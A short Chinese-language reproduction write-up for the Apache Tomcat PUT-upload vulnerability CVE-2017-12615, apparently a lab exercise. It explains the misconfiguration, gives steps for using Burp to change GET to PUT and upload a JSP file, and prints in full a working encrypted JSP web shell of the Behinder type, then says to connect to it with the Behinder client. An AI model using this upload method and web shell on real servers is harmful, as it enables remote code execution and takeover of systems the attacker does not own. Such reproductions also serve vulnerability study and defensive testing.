Tomcat(CVE-2017-12615)漏洞复现
漏洞形成原因
漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false
漏洞利用
当服务器存在远程命令执行漏洞,攻击者可以利用PUT方法通过精心构造的数据包向存在漏洞的服务器里面上传jsp一句话文件,从而造成远程命令执行,getshell等。
漏洞复现
1.访问your-ip:8080
2.使用burp抓包 将GET方法修改成PUT方法 如下:
访问URL加上PUT的文件名 可以看到我们上传的文件内容
3.上传jsp一句话文件 repeater上传成功
一句话木马:
1 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
访问123.jsp
4.使用冰蝎连接
可以看到成功复现